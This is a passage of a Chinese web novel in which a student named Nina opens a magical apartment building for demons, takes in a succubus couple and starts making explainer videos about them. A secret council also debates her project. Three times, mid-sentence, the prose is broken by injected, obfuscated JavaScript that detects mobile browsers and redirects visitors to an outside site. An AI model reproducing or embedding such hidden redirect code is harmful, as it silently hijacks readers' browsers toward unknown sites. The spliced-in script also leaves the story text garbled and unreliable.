在综合了目前关注度最高的几个项目之后，乌瑟总结出一个结论：“你可以把那个见鬼的廉租房变成一个直播基地。让倒霉的房客们用隐私交换居住权。你可以向人们展示魔物们的凄凉生活场景，好让他们从中获得一点优越感。更何况‘监视’本来就是一种广泛存在于人类社会的爱好——之后就是流量变现的问题了。” 他在某个词上加了重音，而且这似乎是一种无意识的行为。 “你怎么会有这么奇怪的想法？”妮娜有些意外，“监视什么的……听起来像变态才会干的事。” “你最好注意一下态度，我是在帮你想办法！”辅导员像是一条被踩到尾巴的猫，语气突然变得刻薄起来，“难道你以为买下一块地皮就能帮助你度过未来的难关？你以为本来就穷的要命的魔族们能毫无负担地支付那一丁点儿的房租？还是说你觉得靠那一点点房租就能让你毫无新意的项目在比赛中获得奖项？” “……我还以为你是一个不善言辞的人。”妮娜讪讪道。 乌瑟的气势颓了下来：“我只是不想多说废话。”他又点了点鼠标，一旁的打印机当即开始工作。 他把从机器里吐出来的几张纸订在一起，递给学生：“这些你拿去作为参考，总之先报名吧，要不要添加那些能够吸引眼球的元素全看你的心情，但我必须负责地提醒一句，太蹩脚的项目是无法通过初审的。” 妮娜接过那叠资料，小声说了句谢谢。 她的视线落到辅导员的手上。尽管乌瑟的外表给人的第一印象是具刚刚复活的僵尸，但是他有一双十指修长且动作灵活的手，这可能是他浑身上下最像活人的一个部位。 “关于购置不动产的事，你需要任何帮助也可以来找我，我想你大概不清楚选址、议价和合同方面的门道。”乌瑟说。 在看到学生感激的目光时，他又立刻补充了一句：“这也是辅导员分内的工作。” “今年的期末评价，我一定会给你好评的。”妮娜说。 “你最好别那么做。”没想到乌瑟的脸又拉了下来，“我会倒霉的。” 8. 圆桌会议 …… 并不是所有的魔族都精通魔法，于是，远古魔族中的智者发明了魔法道具，那些发明很大程度地方便了魔族平民的生活。 有趣的是，这些被制造出来的物品竟然也能分辨使用者的阶级，它们中有不少势利眼，只允许大贵族以上的阶级使用自己。 更过分的当然要属那些魔王专用的道具。它们只会向唯一的王者屈服，并向他展示自己不可思议的魔力。 即使是我，也无法让这些固执的道具动容。 ——《勇者笔记·第二卷》 * 在毕业选题截止录入前，妮娜成功提交了以实践项目代替毕业论文的申请，实践主题照搬了达尔·达曼的“指导”——这都是为了能够顺利通过审核。 而在春假过半的时候，她在神圣峡谷的老城区找到了价格合适的不动产物件。两层楼高，外观呈狭长的长方体，像一截火车的车厢，里面什么都没有——没有家具，没有隔间，没有隔层，这是一栋完完全全只有外壳的房子，所以价格才相对低廉。 话虽如此，王都没有一块地皮是真正便宜的。光是购买这栋空壳就几乎掏空了吸血鬼给她的金袋子。 尽管妮娜·斯特尔已经是一个可以合法拥有不动产的成年人，并且拥有足以购买这套房产的资金，但在购房流程中还是遇上了一些阻碍。 这些阻碍不来自房产的原主人，也不来自中介公司，而是房产交易的网络系统出现问题，一度让交易无法进行。 在多方尝试无果之后，妮娜终于选择向乌瑟寻求帮助，而这位对工作充满责任心的辅导员竟真的帮她解决了问题，只是始终不愿告诉她其中的过程。 “难道你还具备这方面的权限？” “这与你无关。” 总之，房产证已经顺利来到她的手中。 当天下午，她就带着早已打包完毕的行李搬入了这座空无一物的墙壳。 这种一无所有的建筑正合她的心意，这意味着她能随心所欲地利用里面所有的空间。 午后的阳光从窗口斜射进来，在长着杂草和青苔的地上画出一个暖橙色的平行四边形。 妮娜合上了玻璃窗内部的木质百叶，阻隔了来自外界的光线和视线，然后从装着黄金的口袋中取出一颗比拳头略小的水晶球，小心地将它捧在掌中，双手合拢，向着东方祈祷起来。 希望罗德里斯基地的所有成员已经获得了至高的平静。 昨天晚上，她在网上看到了王城郊外发现巨型魔族基地的消息，情报源自一位在城郊寻找毕设灵感的美院学生，新闻附注了“贵族院欢迎民众对原始魔族踊跃举报，内容一经核实，举报者将获得丰厚奖励”的标语。 那名美院学生没有放过这个成名的机会，在社交平台上认领了举报人的身份，不仅证实了“丰厚奖励”的真实性，还写了一篇小作文来描述自己发现魔族基地的过程，以及与魔族斗智斗勇的过程。 他以作画的借口稳定魔物的情绪，拖延时间，并在两只魔物互相争斗的间隙溜之大吉，成功脱离魔沼。 妮娜顺着那些热门转发找到了这名学生的社交账号，并在他的主页上发现了一副画作。美院生洋洋得意地表明这是他立功的证据。 画面上是托举着火蛇的暗红色头发的少年，姿态灵动，表情逼真，线条充满张力，颜色流光溢彩，绝对是一张上佳的作品。 这种魔物已经很久没有出现在人们的视野中了，这张半虚半实的画作很快就获得大量点赞和转发。 “见鬼，居然是炼狱兽，不会真的被兄弟你见到活的了吧，太酷了！” “好可爱，好想抓一只回来养，感觉能省不少燃气费。” 画中少年的脸蛋确实可爱，不过与蒙多并不相像。 也有疑似认识这位美院学生的人在评论区留言：“哥们，这脸你是照着镜子画的自己吧？” ……不说那个让人糟心的家伙了。 妮娜抽出那张被藏在口袋底部的纸条，再次从这封手写的信笺上确认了水晶球的作用。 亲爱的妮娜： 我和我的同伴们在罗德里斯基地落成的那天就共同发过誓，将与这个基地共存亡。信守承诺是魔族的优良品质，我们不会违背诺言。请不要为我们感到悲伤。 您手中的这颗水晶球是一件被命名为‘恶魔城’的魔法道具，有着上千年的历史，是远古魔王亲手打造的魔法杰作。 它可以按照持有者的心意变成任何建筑，也可以直接改变已经存在的建筑物的样貌。希望您能够继承它，让它在您的手中发挥价值，也让它证明我们曾经存在过，证明我们曾经相遇过。 祝一切顺利。您会有一个光芒万丈的未来。 她捧着水晶球，开始在脑中构建房屋的框架。 一座两层楼的建筑，要使房间的数量和面积达到最佳的平衡，上下各八间是一个不错的选择。 每层有各自的公共厨房和卫浴。 连接两层楼的阶梯。 还要留出更够供租客们进行集体活动的空间。 要有一个放置扫除用具等杂物的小房间。 她在一楼靠门的位置为自己留了一个房间，布置仿造宿舍的样子，矮床、书桌以及衣柜，木质地板，可以放置植物的窗台…… 伴随着她的想象，水晶球化成一股粘稠的液体，从她的手中溜走，然后不断膨胀，生长。周围的环境正快速发生变化，她不得不一边移动，一边确认那些拔地而起或是凭空出现的结构。 没花多少时间，这座只剩下空壳的建筑就成了一栋可以住人的公寓楼了。 房东推开为自己预留的房间的门，“门上应该有些标识。” 很快，门板上的木纹开始扭曲，一些地方凹了进去，另一些地方则凸了出来，最后形成了一块嵌在门上的名牌——妮娜·斯特尔。 明天要去找水电燃气公司商量这些基础设施的事情，网络也得装上，最后是家具——有一些可以直接从宿舍搬过来，比如床垫和被子。 正当她这么想着，头顶的点灯便自行亮了起来，厨房传来一阵声响，她探出头去看了一眼，水龙头和燃气灶各自向她展示了功能，她又掏出手机——上面已经显示了无线网络的信号。 而等她回过头，再次打量新居的时候，床具、窗帘、坐垫，乃至室内拖鞋这样的零碎物件都已经置办齐全，看样子像是直接从她的宿舍转移过来的。 现在她完全相信这件魔法道具出自魔王的手笔了。 接下去就是招募租客的问题。 大多数魔族都没有上网的条件，她必须通过一些传统的方式让需要住处的客人们知道王都里有可以为他们提供宿舍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924267|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。 在这栋空置许久的建筑易主的翌日，住在附近的居民就发现，尽管它依然保持着破旧的外观，却一夜之间开始散发出一种不同以往的气质，一楼的墙体上张贴着一块样式古朴的告示版，上面贴着用卷叶草纸做成的广告—— 罗德里斯公寓，优质的环境，低廉的价格，超高性价比，正在招募入住者，仅限魔族，详情请与101室的斯特尔女士面谈。 原本的房门边上新开了一扇小门，上面用显眼的字迹标识着101三个数字。 * “你觉得她在图谋什么？‘罗德里斯公寓’？她知道了罗德里斯基地的内幕？难道说我们失去她下落的那段时间，她就藏在罗德里斯基地？她觉察到自己的身份非同寻常，并打算在我们眼皮底下堂而皇之地招募反抗军团？” “不可能，监视者从来没有提交过相关报告，她不可能在我们不知情的情况下接触过基地成员。” “难道要把这个名字当成一个巧合？” “未必不可，毕竟刚刚才发生过那么大的新闻。也许她是想用这个名字吸引大众的注意，你要知道，很多事情最怕‘不为人知’。” “这些话题可以稍后再进行深入讨论，现在，我们应该统一一下意见，是否要通过这个创业项目的申请。” “通过。” “通过。” “不然还能怎么样呢？通过。” “我倒是想看她到底能折腾出什么东西来。通过。” “有些事情要是做过头，反而像是欲盖弥彰，我们已经给她设置了足够多的障碍，尽量避免了她觉醒的可能，所以这一次我选择通过。” “通过。” “哼，难得看你们意见如此统一。现在，就算我想反对也没有用了。少数服从多数不是吗？” 身穿制服的男性在一张表单上盖了一个鲜红的章，看得出来，要不是其他人都已经投了“通过票”，他才不会做这种违心的事情。 “你们不觉得自从她出生以后，我们的工作里就多了很多类似的无聊内容？如果让民众知道了，他们准会觉得我们在拿着税金过家家。她只是一个小女孩，却骗走了我们这么多时间，更重要的是，这种情况不知会持续到什么时候！” “你想怎么样，杀了她吗？我想你最好弄清楚这么做的后果。”坐在圆桌旁的一名年轻女性皱起了眉，“如果魔王死去，魔法也将从这个世界上彻底消失。” “你我都经历过没有魔法的时代，难道没有魔法，人类就不能生存，不能发展了吗？对魔法的研究也就是从近二十年来才开始的，大规模应用更是只有四五年的时间。只不过是回到过去罢了，我可不稀罕什么魔法。”男人将表单递给右手边的同僚。 接过表单的人在上面盖了第二个章，又将表单传给第三个人。 当表单在圆桌上走了一圈，上面已经集齐了七个不同的印章。 “魔法不是最关键的问题。我看事情过去太久，你们的记忆是不是都出现了一点障碍？还是说你们都被魔法的复苏冲昏了头脑？别忘了，只有让魔王活着，我们才能够维持各自的权柄。” “呵呵。” “阿斯代伦，你笑什么？” “如果让你们口中那些卑贱的恶魔知道我们竟如此忌惮他们的王，你说他们会有怎样的反应？” 9. 第一住户 春假已经临近尾声，教师和学生们应该都在抓紧享受这最后几日的清闲。 至少一向多事的达尔·达曼一次都没再就论文选题的事情找过他那个不成器的学生。 教务网显示，那个充满歧视意味的选题已经顺利通过审核，用实践项目代替毕业设计的申请也已得到批准。 更令人宽慰的是，在本该休假的时期依然没有停止工作的辅导员乌瑟发来邮件，告知了创业项目得到核准的消息。 “你最好自己去官方网站上确认一下，以免有什么纰漏，顺便反思一下那点可怜的关注度。最后，不要让任何校方人士知道我参与过这个愚蠢的项目。” 刚刚登录的项目能有什么关注度呢？更何况前排已经有无数个让人应接不暇的潜力股了。 妮娜打开大赛官方网站，发现事情比她想象的要积极一点，因为她已经有5关注度了，于是她按下了“关注”按钮，让这个数字在转眼间就变成了10。 不可思议的是，数据被刷新的时候，显示出的数字竟是60。 “看来无聊的人不少，我算算，加上我的话，一共是十二个人。哈，十二个人呢！”妮娜在心里想着，“等等，也许其中有评委的关注，或者——” 她再次看到“关注度”的注释中，一名投资者的关注等值于50关注度的字样。 项目得到初步通过，顺利毕业的事也就有了苗头，接下去就是等待租客上门了。 新晋房东以为她的廉价出租房会受到热烈的欢迎，不过目前看来事业爆冷，前途未卜。 在春假结束前，有且仅有一次，101室的临街的那扇房门被敲响了。 “请问，两位是要租房吗？”妮娜疑惑地看着眼前这一对年轻貌美的情侣，得到了对方的肯定答复。 “可是，这里的房子只租给魔族。” 面容妖媚的女性扑哧地笑了起来，“你觉得我们是人类？”她的手十分自然地缠上了妮娜的脖子，轻轻一用力，就急速拉近了两人之间的距离。 “不是吗？”妮娜本能地耸起肩膀，想要防御那两条在她脖颈间游走的手臂。 女性舔了舔嘴唇，像是刚品尝完珍馐：“看来你对魔族了解得不多。” 这点不可否认…… 男性温柔地解开女伴缠在妮娜身上的手，笑着解释道：“我们是魅魔。” 妮娜的表情变得有些僵硬。 和炼狱兽一样，魅魔也是与人类相似度极高的一类魔物，他们甚至舍弃了特殊的发色和尖耳廓，单从外貌来看，几乎无法与人类区别。 魅魔是融入人类社会程度最高的一个种类，人均财产占有量在魔族中名列前茅，与那些无法获得报酬、只能被一味剥削的奴隶型魔族不同，他们中的大多数能获得薪水——通过从事夜晚的那些工作。 这也是妮娜犹豫的原因。 人们难免会有这样的刻板印象，魅魔是一种放荡的生物。 大多数房东都不会喜欢生活不检点的房客，她也不例外。但考虑到答应过吸血鬼的事，再加上他们是珍贵的第一对客人，她还是决定以应有的礼仪招待他们。 “那么，我先带两位参观一下这里吧。” 她关上了自己的小房门，从公寓的正门将这对魅魔迎了进来。 “想要在城市里租到合适的房子是一件非常艰难的事，我们通常不得不伪造身份，假装成人类。”拉弗尔挽着薇薇安——这正是魅魔情侣的名字——慵懒地站在二楼的走廊上眺望街景，“一旦被发现身份造假，我们就会被立刻赶出来。” “你们想要怎样的房间？地砖的材质，墙面的颜色，床的大小，房间的位置……” “我们有提出需求的权利？”薇薇安从男伴的臂弯里探出脑袋，冲妮娜眨了眨眼，“我知道人们对魅魔存在一些奇怪的认知——比如总认为我们喜欢粉红色。不过我是真的喜欢。我能够拥有一个粉红色的房间吗？” “一个粉红色的房间，粉色，但遮光良好的窗帘，一张舒适的铺着粉色床单的双人床，漆成粉色的衣柜，也许还要一面粉色框架的穿衣镜……”妮娜嘀咕起来，“跟我来吧。” 她转开了二楼第一间房的门把手。门背后是一间粉到可以冒泡泡的房间。主色调是温柔的淡粉，但也不乏一些深粉色的点缀。 她听到薇薇安从身后发出的惊叹：“真是不可思议，这里真的有一个粉色的房间。拉弗尔，不管这背后有什么阴谋，我都决定在这儿住下了！” “阴谋……” “我们注意这里好几天了，这几天里我们一直猜测你想从魔族身上图谋什么。”拉弗尔毫不避讳地告诉妮娜。 “呃。” “但是，人类可以从魔族身上图谋什么呢？我们是低人一等的魔物，一无所有的族类，对人类来说，我们不过是比家猪聪明的畜生罢了。”薇薇安往拉弗尔怀里一钻，接着又从男伴的臂弯里探出头来，扬着一张红唇对妮娜说，“我喜欢这地方。这里的一切都有一股让人安心的味道。你身上也是，亲爱的新房东。” 拉弗尔也转过头来：“既然维维喜欢，我也就没什么好说的了。但是我也有想要留下的理由，那就是好奇心，房东女士。” 妮娜觉得，或许是这两位魅魔在这栋公寓里嗅到了某种气息——他们那位远古的王的魔力气息——所以才会这么说。 《勇者笔记》提到过，即使来自不同的分支，不同的阶级，纯血魔族们都是生命之树的儿女，即所有魔族之间都存在着某种微妙的联系，而这种联系亘古不绝，不会随着时间的流逝或代际的变化而消失。 “我去准备合同。”她说。 魅魔情侣选择了201号室，就在101室的正上方。 当天夜里，魅魔们并没有出门工作，而是用一直吵个不停的天花板让妮娜领教到了他们的厉害。 她有些无奈地向恶魔城提出强化一下楼层隔音性能的请求。 片刻之后，那些邪恶的声音便再也无法传达到房东的卧室。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924268|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她松了口气，给乌瑟发了一封邮件：“托您的福，我获得了第一户租客，是一对魅魔。您对这一种族有多少了解呢，如果您愿意与我分享所知，我会感到很荣幸的。” 虽然互联网和图书馆都藏有无数人类的智慧结晶，但关于魔族的资料却少得可怜，吸血鬼和魅魔们对她“并不了解魔族”的指摘是客观公正的。 相较于正经的研究资料，魅魔倒是另一种文化作品中的常客。艳情类的影视、文字作品总是喜欢让他们充当重要角色。而事实上，他们也确实依托相关文化才得以在人类社会获得了“略高于其他魔族”的生存权利。 乌瑟很快就给出了回信。 “恭喜我们的小房东，相信这对放荡的恶魔会给你的生活增添不少趣味。我可不是什么百科全书，不要问我稀奇古怪的问题。比起成为一个对魔族习性了如指掌的大师，不如赶紧想一想怎样让这对恶魔替你创造财富。” “你最好记住一件事，不要以为通过审核就万事大吉了。在比赛第一阶段结束时，如果项目收益无法达到指定金额，就无法进入下一轮评选。” “还有，不要对我用尊称。” 如何让一对魅魔创造财富……妮娜为那个第一时间钻进自己脑袋的想法感到抱歉。她转而想起乌瑟在办公室里给她的建议——直播。 如果让这对魅魔夫妻成为网络主播，他们会受到人类观众的欢迎吗？ ——毕竟他们长得那么漂亮。 她打开视频网站，在上面寻找起与魅魔有关的内容。 搜索结果比想象中要多很多。 目前就有不少正在进行放送的魅魔直播间。 她点进一个热度较高的房间，满屏的粉红泡泡立即席卷而来，穿着暴露的女性魅魔正在用甜美的声音感谢观众赠送的礼物。 [小妖精在哪里上班，我有空的话去给你捧场。] “这个保密哦。如果有缘的话说不定能见到呢~” [来得晚了，今天有没有表演啊？] [已经结束了。] “如果老板打赏的话，莉莉就有动力再跳一个舞啰。” [这是真魅魔还是假魅魔啊？我之前关注的几个都被曝是假的，不想再被欺骗感情了。] [管她真的假的，好看就行！] “莉莉当然是真的魅魔啦，哥哥放心好了呢。” 妮娜看着主播莉莉那张甜美动人的脸，以及凹凸有致的身材，不禁有些愣怔。 她以前从没有关注过这方面的内容，还以为自己想到了一个新点子，原来魅魔主播早就已经不稀奇了。 现在正是直播行业方兴未艾的时候，嗅觉敏锐的魅魔绝不会错过机会——对他们来说这事关生存。 不过，就像刚才一名观众问的，在这些打着魅魔旗号的直播间中，有多少是真的魅魔，又有多少是人类为了博取眼球而假扮的呢？ 毕竟拉弗尔和薇薇安已经证明，要凭肉眼分辨魅魔和人类，几乎是不可能的事。 10. 科普赛道 第二天。 魅魔夫妻出现在公共区域的时候，太阳已经来到了天空正中。 “昨天晚上有吵到你吗？”薇薇安毫不避讳地问道。 正在啜着咖啡的妮娜没想到她会如此直白，猝不及防地被杯子里的液体呛了一口。 “完全没有……这儿的隔音效果非常好，你甚至可以在房间里跳踢踏舞。”她拍着胸口说道，“你们早饭吃什么？这里有面包和煎鸡蛋，喝的有咖啡和牛奶。” “早餐需要额外收费吗？”拉弗尔走到桌边，环视了一下厨房的情况，“我们能够支付的额外费用非常有限。” 妮娜放下咖啡杯，推动了一下手边的鼠标：“不能说完全免费。但可以用金钱以外的东西作为报酬。” 拉弗尔指了指自己：“是这方面的？”又指了指薇薇安，“还是那方面的？” 妮娜开始没有听懂，等想明白之后，差点把已经喝进肚子里的咖啡再呛出来，她连连摆手道：“你们脑袋里就只有那种事情吗？” 拉弗尔无辜地看着她。 薇薇安在餐桌旁找了一张椅子坐下，将一只手臂搁在桌面上，另一只撑着自己的脸颊：“我们曾经尝试过各种能够挣钱的办法，但最后发现只有一条出路。所以我们也不知道，除了金钱和身体，我们还能支付给你什么。” 妮娜感到如芒在背，她松开了鼠标，站了起来，从烤面包机里取出两片面包，将它们装进盘子，然后开始摆弄那台咖啡机。 这些机器也来自万能的恶魔城的馈赠。 她无法想象制造这件魔法道具的那位古代魔王究竟是多么神通广大的存在。在他掌权的年代里，这些现代化的机器应该还没有被发明出来，但是他留下的这件神奇道具却能将它们完美复现。 “说到只有一条出路——我昨天在网上了解到有不少从事直播行业的魅魔，我不了解这一行，但听说做的好的那些人非常赚钱，你们没有考虑过这种生财方式吗？”她背对着租客，试探他们的口风。 “我听说过，但我想你看到的那些所谓的魅魔主播八成都是人类反串的。”薇薇安说。 妮娜回过头，疑惑地看了她一眼，似乎想问她这么说的理由。 “我们想过尝试，但甚至凑不够成本。你知道我的意思吧？”拉弗尔替女伴解释起来，“我们买不起能够做直播的设备，也付不起必要的通信费用。更重要的是，如果没有人类的帮助，魔族几乎没办法在网络上开设账户。” “我们手里的钱最优先用来支付食物，然后是装扮，接着是住处。如果还有得多，我们才能考虑别的，但往往不会发生这种情况。”薇薇安补充道。 妮娜冲好了两杯热咖啡，将它们和面包一起端到桌上。 说实话，这对魅魔情侣的外形非常优越，衣着也相当得体，根本无法想象他们实际上过着一种极其拮据的生活。 “服装是第二优先级？”她问。 “如果不把自己打扮得漂亮一点，我们就会找不到工作。就算只能露宿街头，我们也必须维持好自己的形象。”薇薇安说。 妮娜在电脑上打开一个新文档，把这一情况记录进去，“再多说一些关于你们的事情吧。这就是我需要的伙食费。” 两位魅魔互相看了对方一眼。 “女士，你真是一位慷慨的好人。”拉弗尔说。 其实他们应该感谢的是老吸血鬼，如果不是他赞助了黄金和魔法道具，妮娜·斯特尔女士眼下也只是一个自顾不暇的准毕业生罢了。 “你们多大了？” 薇薇安笑了起来：“你想听到一个怎样的答案？三位数，还是一个偏大的两位数？” “这么说，魅魔相对人类，也算得上是长寿的生物了？”妮娜一边敲打着键盘一边说道。 “魅魔的平均寿命只有四十年。人类从来没有见过老年魅魔，所以认为我们青春永驻。”薇薇安说，“实际上在衰老之前，我们就会迎来死亡。我今年二十岁，拉弗尔和我一样大，我们从小就相依为命。” 妮娜吃了一惊，她完全没有想到这对魅魔竟比自己还要年轻。无论是外貌，还是别的什么评价标准，他们看上去都要成熟很多。 拉弗尔笑了一下：“短命的物种往往比较早熟。比如有些寿命只有几个钟头的虫类，他们刚从卵里出生的时候就具备成熟的生殖系统了。” “我明白了。”妮娜觉得有些心酸。 二十岁，对人类来说还是一个充满无限可能的年龄。而对一位魅魔来说，他们的生命进程已经过半。 “你在替我们感到难过？”薇薇安问。 “不是……” “那就好。不然你见到无花果小蜂的话，会难过到心碎的。”拉弗尔说。 妮娜飞快地查找起关于无花果小蜂的资料，在谈话的间隙一目十行地了解了这一物种的生命进程。 她的态度变得更加谨慎起来：“我还可以问一些别的。比如……你们是否具备一些魔法天赋？” “我不是很确定，或许你会对我们的某项特性感兴趣，我想这应该是独属于我们这一种族的魔法。”薇薇安说。她在说话的同时给自己的伴侣使了一个眼色。 拉弗尔心领神会。 “好了，你感觉拉弗尔有哪里不同了吗？”薇薇安露出了一个狡猾的表情。 妮娜谨慎地打量起她身旁的魅魔先生，发现他确实产生了某种变化，一种体现在整体氛围上的变化，她不知道这是怎么做到的，也无法准确描述出来。 过了一会儿，她才注意到一个一直被忽视的细节。 “你是一位女士？！”她指着拉弗尔大声说道——无论是动作还是音量，都只是因为她太惊讶了。她倒是不介意发生在同一性别之间的爱情，她只是惊讶于自己竟会误判这种事情。 拉弗尔笑了起来。 妮娜注意到“她”的声线也发生了变化。 这下她有些明白过来了，但仍感到难以置信。拉弗尔最初的确是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924269|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以“男性”形象出现在她面前的。只是现在，就在刚才，他变成了一位女性——不是伪装，而是生理层面的“变性”。 “魅魔可以改变自己的性别。”拉弗尔说，“不光是我，维维也可以变成一名男性。” “只是我不喜欢那样。”薇薇安说。 “难以置信，如此重要的特性我竟然没有在任何一部与魅魔有关的作品里看到过！” “总不能把□□当成科普读物。创作者们被剥夺了了解我们的机会，而我们也没有理由将这种事情公之于众，没有任何一个人类能与我们亲近到可以谈论这些事情。况且大多数时候，我们会选择一个固定的性别。老实说，我一直都不知道生命之树赋予我们这个特性到底有什么目的。” “科普读物。”妮娜敲着键盘，突然灵光一闪，“没错，我可以制作一个与魅魔有关的科普视频。” 虽然社会已经步入信息化时代了，但关于魔族的各种知识像是被隔绝于网络和电子化的鬼魂，一般人很难在生活中发现它们的一鳞半爪。 关于魔族的科普视频——和无论真假的魅魔主播不一样，这还是一个无人涉足的领域，一条新的赛道。 况且魅魔能够变性这个“知识点”足够新奇。 “我都不敢想象这能给□□的创作者们带去多少灵感。”她忍不住感叹起来。 “你喜欢看那些作品？”魅魔中的一位问道。 妮娜脸上一热，矢口否认，眼睛却隔着笔记本电脑的屏幕悄悄地窥伺着薇薇安的表情：“你们会觉得受到了冒犯吗？” “你给了我们足够廉价的住处，还以微不足道的报酬替我们提供早餐，为此我愿意接受你的冒犯。”薇薇安说。 妮娜心情复杂地盯着键盘上那些黑色的按键，小声呢喃道：“我还是为我刚才的话感到抱歉。” 薇薇安温柔地笑着：“好吧，看来我得把话说明白。至少代表我自己，我并不讨厌人类在小说和影视作品里对我们的刻画。也许是因为那些作品有利于提升我们的收入，又或许是我相信文艺作品和现实之间存在一条不可跨越的界限，我大可不必为一些虚假的事情感到冒犯。” “薇薇安女士，”妮娜抬起头，看着她那双美丽动人的眼睛，“你有一颗强大的心。我对你感到敬佩。” “这是魔族在人类社会生存下去的必需品，绝对不是什么稀罕的东西。”薇薇安说。 妮娜整个下午都在整理计划中第一支科普视频的文本内容，并在脑中匹配相应的画面。 她本来想请魅魔夫妻录几段视频，又因为担心会对他们的生活产生影响而打算作罢。 没想到薇薇安主动提出了出镜的事，并兴致勃勃地表示这或许是贫穷的魅魔一生中唯一能够参与视频录制的机会。 几乎没有接触过相关领域的她还无师自通地在难以抛弃羞耻心的房东面前发表高见： “你要在封面用上刺激的图片，不管是谁都多多少少会有一点猎奇心的。” 11. 母女关系 妮娜跟着教程现学现卖地做出了第一支视频，她在视频网站乐飞上新注册了名为“罗德里斯魔法公寓”的账号，并将自己的杰作传了上去。 在薇薇安的热情指导之下，视频的封面被做成了在酒吧或旅馆中分发的那种小卡片的风格，凹凸有致的身体是画面的主角，关键的地方用黑色的矩形进行遮挡，这些黑色长条同时还起到标题背景板的作用。 “艳情界宠儿/惊天机密！” “你不觉得这个标题读起来怪怪的吗？”妮娜几乎不敢正眼去瞧这张经过“精心设计”的图片——有种喂眼球吃了两颗辣椒的感觉。 “我觉得很棒。”薇薇安说着，微调了一下第二排文字的位置，这位年轻而贫穷的女士没有受过相应的艺术教育，却似乎无师自通那些视觉引导原理，这样能使观众的视线第一时间被引导至图片中魅魔腹部那片若隐若现的纹路上去。 人类擅自为这些魅魔特有的纹路起了一个奇怪的名称，在此暂不明言，视频中也做了消声处理。然而根据当事人的说法，这个图案象征的是生命的起源。 魅魔不具备生育能力，自然也没有内置的生殖系统，生命之树却在他们体外的相应位置刻上了模仿生命起源之处的符号，这一设计实在是耐人寻味。 “当然，我们也无法猜测一棵树究竟是怎么想的。” 一个小时之后，视频顺利通过审核。在此期间妮娜认真地补充了账号的自我介绍，并将罗德里斯公寓的创办理念标记在了显眼的位置。 “改善人类与魔族的关系，建设美好互信社会。” 视频发布后，三位创作者围在桌子边上喝了一会儿咖啡，妮娜每隔几分钟就会刷新一次页面，过去整整一个小时，点击量才勉强从一位数变成二位数。 妮娜学着创业大赛官网上其他引入视频或直播内容的参赛项目一样，将魔法公寓的链接放到了项目主页里：“这至少也是一个曝光渠道。” 这时候的她恐怕忘了，制作视频的初衷是为了给项目引流，而不是反过来。 “我们得去工作了。”薇薇安看了一眼电脑屏幕下方的时间，将那杯咖啡一饮而尽。 妮娜有些呆滞地点了点头，再次刷新了一下网站，决定接受出师不利的现实——这是必然的，哪有那么多一炮走红的奇迹。 “祝你们好运。” 她拿起手机，因为有人给她打来电话。 “你怎么不在宿舍？管理员说你搬出去住了？为什么不和我说一声？” 刚一按下接听键，萨利的声音就从里面喷了出来。 妮娜顿时将脸皱成了一颗核桃：“萨利，我已经二十二岁了，我想这些小事应该不用向你一一汇报，住在哪里是我的自由，我又不是干了什么违法犯罪的事。” “你现在在哪里？我要和你见一面。”萨利用不容置疑的口吻说道。 萨利是一位脾气暴躁的单身母亲。 妮娜知道在当今这个时代女人独自抚养孩子仍是件不容易的事，对萨利来说，自己绝对是一个累赘，所以就算萨利待她向来粗暴，她也一直尽力扮演一个好女儿、至少是听话的女儿的角色。 直到三年前，她发现自己的大学志愿被偷偷修改了的那一刻。 上大学的这几年间，她和萨利通话的次数都屈指可数，更不用说见面了。她至今还是放不下未能如愿进入魔法学院的事，而自从升上大四之后，她对萨利积怨更深。 放下电话，妮娜叹了口气。 还大言不惭地说什么建设和谐互信社会呢，她连自己的家庭关系都没法处理好。 这让她的失败也看起来更加理所当然了。 半个钟头之后，妮娜来到了和萨利约定的地点。 猎犬酒吧。 神圣峡谷的老城区有很多承袭了旧时代风格的娱乐场所，而且大多数价格公道，是手头紧张的人们在想要获得片刻放松时最喜欢造访的地方。 便宜的澡堂，便宜的网吧，便宜的餐厅，以及与便宜价格相称的廉价服务。 如果仔细观察的话，你会在这里看到很多担任清洁工或在厨房打杂的魔族——他们通过长时间的高负荷劳动从他们的人类主人手中换取一点点用以维生的食物和生存空间。 妮娜上大学之后，萨利第一次来王都找她，两人就约在老城区的这家小酒吧，原因是这间看起来破旧又狭小的酒吧在全国各地开了不少连锁店，包括巴尼斯村，对萨利来说，这是城市里唯一能给她熟悉感的地方。 妮娜一进门就看到了坐在墙角的萨利——一头黑色的鬈发，被晒成干枯的小麦色的皮肤，以及一身落叶颜色的旧衣服，她就像她那双黑色的眼睛深深嵌在眼眶里一样嵌坐在那个墙角。 她看上去简直和墙角融为一体，但妮娜总能一眼从人群中发现她。 “嗨，好久不见。”妮娜挤出笑脸，走上前去。 